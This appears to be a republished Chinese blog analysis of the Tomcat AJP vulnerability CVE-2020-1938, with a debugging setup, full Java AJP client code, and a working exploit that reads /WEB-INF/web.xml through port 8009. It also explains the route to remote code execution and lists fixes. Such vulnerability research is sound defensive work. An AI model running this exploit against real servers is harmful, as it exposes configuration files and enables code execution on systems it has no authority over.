您好,登錄后才能下訂單哦!
這期內容當中小編將會給大家帶來有關如何實現Apache AJP協議CVE-2020-1938漏洞分析,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
這里使用的是tomcat8.0.52的測試環境,因為tomcat默認開啟AJP協議,所以我們這邊只需要配置好tomcat的遠程debug環境就行。
1、找到catalina.sh去定義一下遠程調試端口,我這里就使用了默認的5005端口。
if [ -z "$JPDA_ADDRESS" ]; then JPDA_ADDRESS="localhost:5005" fi
2、以調試模式開啟tomcat,這里不推薦直接改動tomcat的默認啟動模式,否則以后都會默認開啟調試模式,因此推薦直接以調試模式開啟tomcat。
sh catalina.sh jpda start
3、在idea的lib里導入tomcat的jar包,tomcat的jar都放在lib目錄下,直接把lib都導進來就行。接下來在idea里開啟tomcat的遠程調試環境就部署完成。
AJP(Apache JServ Protocol)是定向包協議。它的功能其實和HTTP協議相似,區別在于AJP協議使用的是二進制格式傳輸文本,走的是TCP協議來SERVLET容器進行通信,因此漏洞的利用就需要依賴于一個客戶端,而不能依賴于瀏覽器或是HTTP的抓包工具。
因為是java的漏洞,因此但從網上的py的poc很難看出AJP協議相關的很多東西,所以這里我們再去看一下用于發送AJP消息的java的客戶端代碼。客戶端代碼引自0nise的GitHub。
目錄結構如下,因為代碼需要依賴tomcat本身的AJP相關jar包,所以也要加入tomcat的lib,
file:TesterAjpMessage.java package com.glassy.utility; import java.util.ArrayList; import java.util.LinkedHashMap; import java.util.List; import java.util.Map; import java.util.Map.Entry; import org.apache.coyote.ajp.AjpMessage; import org.apache.coyote.ajp.Constants; import org.apache.juli.logging.Log; import org.apache.juli.logging.LogFactory; public class TesterAjpMessage extends AjpMessage { private final Map<String, String> attribute = new LinkedHashMap(); private final List<Header> headers = new ArrayList(); private static final Log log = LogFactory.getLog(AjpMessage.class); private static class Header { private final int code; private final String name; private final String value; public Header(int code, String value) { this.code = code; this.name = null; this.value = value; } public Header(String name, String value) { this.code = 0; this.name = name; this.value = value; } public void append(TesterAjpMessage message) { if (this.code == 0) { message.appendString(this.name); } else { message.appendInt(this.code); } message.appendString(this.value); } } public TesterAjpMessage(int packetSize) { super(packetSize); } public byte[] raw() { return this.buf; } public void appendString(String str) { if (str == null) { log.error(sm.getString("ajpmessage.null"), new NullPointerException()); this.appendInt(0); this.appendByte(0); } else { int len = str.length(); this.appendInt(len); for(int i = 0; i < len; ++i) { char c = str.charAt(i); if (c <= 31 && c != '\t' || c == 127 || c > 255) { c = ' '; } this.appendByte(c); } this.appendByte(0); } } public byte readByte() { byte[] bArr = this.buf; int i = this.pos; this.pos = i + 1; return bArr[i]; } public int readInt() { byte[] bArr = this.buf; int i = this.pos; this.pos = i + 1; int val = (bArr[i] & 255) << 8; bArr = this.buf; i = this.pos; this.pos = i + 1; return val + (bArr[i] & 255); } public String readString() { return readString(readInt()); } public String readString(int len) { StringBuilder buffer = new StringBuilder(len); for (int i = 0; i < len; i++) { byte[] bArr = this.buf; int i2 = this.pos; this.pos = i2 + 1; buffer.append((char) bArr[i2]); } readByte(); return buffer.toString(); } public String readHeaderName() { byte b = readByte(); if ((b & 255) == 160) { return Constants.getResponseHeaderForCode(readByte()); } return readString(((b & 255) << 8) + (getByte() & 255)); } public void addHeader(int code, String value) { this.headers.add(new Header(code, value)); } public void addHeader(String name, String value) { this.headers.add(new Header(name, value)); } public void addAttribute(String name, String value) { this.attribute.put(name, value); } public void end() { appendInt(this.headers.size()); for (Header header : this.headers) { header.append(this); } for (Entry<String, String> entry : this.attribute.entrySet()) { appendByte(10); appendString((String) entry.getKey()); appendString((String) entry.getValue()); } appendByte(255); this.len = this.pos; int dLen = this.len - 4; this.buf[0] = (byte) 18; this.buf[1] = (byte) 52; this.buf[2] = (byte) ((dLen >>> 8) & 255); this.buf[3] = (byte) (dLen & 255); } public void reset() { super.reset(); this.headers.clear(); } }
這個TesterAjpMessage.java文件就是一個tomcat本身用來處理AJP協議信息的AjpMessage類的子類,因為AjpMessage只支持發送bytes信息的緣故,代碼豐富了TesterAjpMessage子類,使我們在構造客戶端的時候支持appendString以及對Header的相關操作,更加方便。
file:SimpleAjpClient.java import java.io.IOException; import java.io.InputStream; import java.net.Socket; import java.util.Arrays; import javax.net.SocketFactory; public class SimpleAjpClient { private static final byte[] AJP_CPING; private static final int AJP_PACKET_SIZE = 8192; private String host = "localhost"; private int port = -1; private Socket socket = null; static { TesterAjpMessage ajpCping = new TesterAjpMessage(16); ajpCping.reset(); ajpCping.appendByte(10); ajpCping.end(); AJP_CPING = new byte[ajpCping.getLen()]; System.arraycopy(ajpCping.getBuffer(), 0, AJP_CPING, 0, ajpCping.getLen()); } public int getPort() { return this.port; } public void connect(String host, int port) throws IOException { this.host = host; this.port = port; this.socket = SocketFactory.getDefault().createSocket(host, port); } public void disconnect() throws IOException { this.socket.close(); this.socket = null; } public TesterAjpMessage createForwardMessage(String url) { return createForwardMessage(url, 2); } public TesterAjpMessage createForwardMessage(String url, int method) { TesterAjpMessage message = new TesterAjpMessage(8192); message.reset(); message.getBuffer()[0] = (byte) 18; message.getBuffer()[1] = (byte) 52; message.appendByte(2); message.appendByte(method); message.appendString("http"); message.appendString(url); message.appendString("10.0.0.1"); message.appendString("client.dev.local"); message.appendString(this.host); message.appendInt(this.port); message.appendByte(0); return message; } public TesterAjpMessage createBodyMessage(byte[] data) { TesterAjpMessage message = new TesterAjpMessage(8192); message.reset(); message.getBuffer()[0] = (byte) 18; message.getBuffer()[1] = (byte) 52; message.appendBytes(data, 0, data.length); message.end(); return message; } public void sendMessage(TesterAjpMessage headers) throws IOException { sendMessage(headers, null); } public void sendMessage(TesterAjpMessage headers, TesterAjpMessage body) throws IOException { this.socket.getOutputStream().write(headers.getBuffer(), 0, headers.getLen()); if (body != null) { this.socket.getOutputStream().write(body.getBuffer(), 0, body.getLen()); } } public byte[] readMessage() throws IOException { InputStream is = this.socket.getInputStream(); TesterAjpMessage message = new TesterAjpMessage(8192); byte[] buf = message.getBuffer(); int headerLength = message.getHeaderLength(); read(is, buf, 0, headerLength); int messageLength = message.processHeader(false); if (messageLength < 0) { throw new IOException("Invalid AJP message length"); } else if (messageLength == 0) { return null; } else { if (messageLength > buf.length) { throw new IllegalArgumentException("Message too long [" + Integer.valueOf(messageLength) + "] for buffer length [" + Integer.valueOf(buf.length) + "]"); } read(is, buf, headerLength, messageLength); return Arrays.copyOfRange(buf, headerLength, headerLength + messageLength); } } protected boolean read(InputStream is, byte[] buf, int pos, int n) throws IOException { int read = 0; while (read < n) { int res = is.read(buf, read + pos, n - read); if (res > 0) { read += res; } else { throw new IOException("Read failed"); } } return true; } }
SimpleAjpClient便是發送AJP消息的客戶端代碼,支持服務端的連接與斷開,支持對AJP消息頭和消息體的構造。
關于整個AJP消息的消息頭消息體怎么構造,消息頭里面的code的值又是怎樣額對應關系可以去參考AJP協議總結與分析
先看一下發送的惡意AJP消息包是怎么構造的,
file:Test.java import com.glassy.utility.SimpleAjpClient; import com.glassy.utility.TesterAjpMessage; import java.io.IOException; import javax.servlet.RequestDispatcher; public class Test { public static void main(String[] args) throws IOException { SimpleAjpClient ac = new SimpleAjpClient(); String host = "localhost"; int port = 8009; String uri = "/aaa.jsp"; String file = "/WEB-INF/web.xml"; ac.connect(host, port); TesterAjpMessage forwardMessage = ac.createForwardMessage(uri); forwardMessage.addAttribute(RequestDispatcher.INCLUDE_REQUEST_URI, "1"); forwardMessage.addAttribute(RequestDispatcher.INCLUDE_PATH_INFO, file); forwardMessage.addAttribute(RequestDispatcher.INCLUDE_SERVLET_PATH, ""); forwardMessage.end(); ac.sendMessage(forwardMessage); while (true) { byte[] responseBody = ac.readMessage(); if (responseBody == null || responseBody.length == 0) { ac.disconnect(); } else { System.out.print(new String(responseBody)); } } } }
從構造的AJP消息包里可以看到,關于AJPMessage的核心內容有host、port、INCLUDE_REQUEST_URI、INCLUDE_PATH_INFO、INCLUDE_SERVLET_PATH,我們暫且在這里記下來,等我們打上斷點的時候再去服務端看一看這些東西都是干什么的。
這個時候該開始思考動態調試的問題了,不同于以往的rce漏洞(統一往ProcessBuilder的start函數上打),關于斷點往哪打就成了第一個關鍵的問題,我這邊的處理方式是因為客戶端代碼里面使用了AjpMessage類,所以我就去看了一下這個類所在的jar包,果然就找到了tomcat的lib里負責處理AJP協議的類,
這些類看名字差不多就能想到去看一看幾個Processor,漏洞的觸發一定經過其中的一個,按照第一眼的直覺直接去看AjpProcessor,看到AjpProcessor類里面沒有找到我們想要的東西,但是它有一個父類很值得注意,然后我去剩下的幾個Processor,發現父類都是AbstractAjpProcessor,所以我就去看了一下這個類的代碼,最終決定把斷點打在了AbstractAjpProcessor類的process方法上,
跑一下客戶端,果然處理AJP協議要經過這個方法,
在AbstractAjpProcessor類的process方法中this.prepareRequest()方法是要去關注一下的,這里面對request做了一些處理,
我們去看一下這個方法的代碼,首先回顧一下TesterAjpMessage.java代碼里的一處細節,method的值,
這prepareRequest種我們就拿到了這個值,并把request的method定義成了GET,這也和后面要交給Servlet的doGet方法有關系
緊接著進入一個swith循環中給request定義了ADDR、PORT、PROTOCOL,之前在客戶端設置的INCLUDE_REQUEST_URI、INCLUDE_PATH_INFO、INCLUDE_SERVLET_PATH也放到了request.include中,
接著就將request和response交給了CoyoteAdapter類來處理,
接下來就是一系列的反射,最終交給了JspServlet來處理這個請求,
在JspServlet的service方法中就看到了我們之前在利用代碼里面定義的INCLUDE_REQUEST_URI、INCLUDE_PATH_INFO、INCLUDE_SERVLET_PATH開始被用到了,
接下來的操作便是把jspUri交給了getResource去讀取文件內容
在調用StandardRoot的getResource方法的時候會去調用validate方法對path進行檢測
其中RequestUtil.normalize用于目錄遍歷的檢測,所以我們是不能構造../模式的path的,
接下來就會造成文件讀取了,總體的調用棧如下,
關于當存在任意文件上傳的時候可以造成RCE的原理也是很簡單的,我們看一下上面的調用棧,可以發現當我們讀取了文件之后是交給了jspServlet去處理的,自然我們上傳了jsp文件再通過該方法去讀取文件內容的同時jspServlet也會去執行這個文件,利用jsp的<%@ include file="demo.txt" %>去做文件包含從而造成RCE。
這里有一個很重要的點要回過來提一下,這里面我為了順便講解RCE的原理,所以我在定義Test.java中的uri變量的時候,給他賦值是xxx.jsp的形式,所以最好AJPProcessor最后是把Message交給了JspServlet來處理這個消息,其實這個漏洞還有第二條利用鏈,將uri定為xxx.xxx的形式,這樣我們的AJPMessage是會交給DefaultServlet來處理的,但其實后面的流程是和前面區別不大的,就不再細說,
補充一下走DefaultServlet利用的調用棧,
我這個漏洞的分析出的比較晚,相信修復方法大家也都知道了,我就順便一提:
1、關閉AJP協議。
2、升級tomcat。
上述就是小編為大家分享的如何實現Apache AJP協議CVE-2020-1938漏洞分析了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。